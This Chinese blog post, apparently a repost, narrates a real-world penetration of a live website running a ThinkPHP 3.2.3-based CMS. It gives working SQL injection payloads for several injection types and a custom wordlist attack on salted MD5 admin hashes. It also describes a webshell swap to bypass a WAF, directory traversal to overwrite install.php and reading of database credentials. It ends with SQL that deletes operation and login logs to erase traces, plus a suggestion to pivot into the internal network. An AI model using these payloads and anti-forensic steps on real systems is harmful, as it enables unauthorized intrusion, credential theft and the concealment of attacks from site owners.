tp3.2.3漏洞實戰


該cms基於tp3.2.3二次開發,已知該版本存在多種sql注入類型以及緩存文件漏洞。

tp3.2.3歷史漏洞

https://www.cnblogs.com/ichunqiu/p/12469123.html

漏洞已提交至CNVD
簡要概括如下

where注入

利用字符串方式作為where傳參時存在注入

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

exp注入

這里使用全局數組進行傳參(不要用I方法),漏洞才能生效

public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

bind注入

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

find/select/delete注入

public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

order by注入

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))

緩存漏洞

public function test(){
    S('name',I('test'));
}

實戰挖掘

最終找到幾處后台sql注入、存儲型xss、后台RCE(目錄穿越)

sql注入

具體細節就不寫了,漏洞觸發點如下

很明顯,直接構造發包

但是需要開啟debug、且需要登錄后台

類似的漏洞還有1處。

后台RCE

模版管理,懂得都懂

附件管理,懂得都懂

這里可以跟一下,尋找對應的上傳點

存儲型XSS

后台登錄日志

但是目標站點的后台開啟了http-only,因此無法利用xss獲取cookie

后台操作日志的xss注入點在referer

SSRF

在這個實際站點中用處不大,就不展開了。

實戰滲透

后台漏洞審了一大堆沒啥用,前台功能代碼很少,大致看了一遍,不存在注入。

這時候waf師傅告訴我目標的前台搜索框處存在sql注入。

我????

於是對比網上下載的審計源碼,發現原來源碼中與搜索框相關的功能未實現,目標站點的搜索框是自己寫的代碼。

getshell

既然存在注入,那么直接讀取后台管理員賬戶。

本地查看數據庫如下

跟進源碼發現password加密方式如下

md5($pass.md5($verify));

寫個腳本注出后台用戶數據

# admin,admin1
# 19369424b3f933c41324978106c411cc,9509b82e3ddf251f2ea825b49ab6d291
# lnwkNC,XW7YXl

cmd5查詢,查詢到了admin1賬戶密碼

得到admin1/admin123!

登進去一看,admin1只有管理內容/修改密碼兩個功能,無法getshell,於是又把內容管理的相關功能進行審計,還是無法getshell。

既然已知加密方式和salt,開始本地爆破,一開始跑了十幾萬的字典還是沒成功。

沒辦法,只能碰碰運氣,用公司名、地級名、成立年份等信息生成一個自定義字典,本地一跑,卧槽成了!!!

登錄之后嘗試后台RCE,修改模版header.php,但是用哥斯拉居然被攔截了。

X-Powered-By: SDWAF

換成冰蠍馬的成功繞過waf,但是訪問前台又出現一個奇怪的單引號導致的語法錯誤。。。

最終,增加、編輯模版處還存在目錄穿越,修改根目錄的/install.php

源碼中並未對..\以及../進行處理

點到為止

簡單測試后發現,phpinfo中沒有設置disable_func,卻無法執行系統命令。。。

只能靠執行php函數

error_reporting(E_ALL);var_dump(1);
var_dump(scandir('.'));
readfile('web.config');

讀取數據庫賬號密碼

'DB_TYPE' => 'mysql', 
    'DB_HOST' => '180.xxx', 
    'DB_NAME' => 'xxx', 
    'DB_USER' => 'xxx', 
    'DB_PWD' => 'xxx', 
    'DB_PORT' => '3306', 
    'DB_PREFIX' => 'wexxx',

發現是站庫分離,遠程連接。

select user()
select @@basedir;
show variables like '%secure%'

發現是linux系統,當前賬戶權限較低無法讀取文件、修改配置、os-shell

先痕跡清除,第二天晚上下班繼續

select * from XXX.perationlog limit 10
DELETE FROM XXX.rationlog WHERE id > 7000
DELETE FROM XXX._loginlog WHERE id > 3000
unlink('test.php');

除此之外,還可以傳個reGeorg正向代理,繼續掃描內網。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM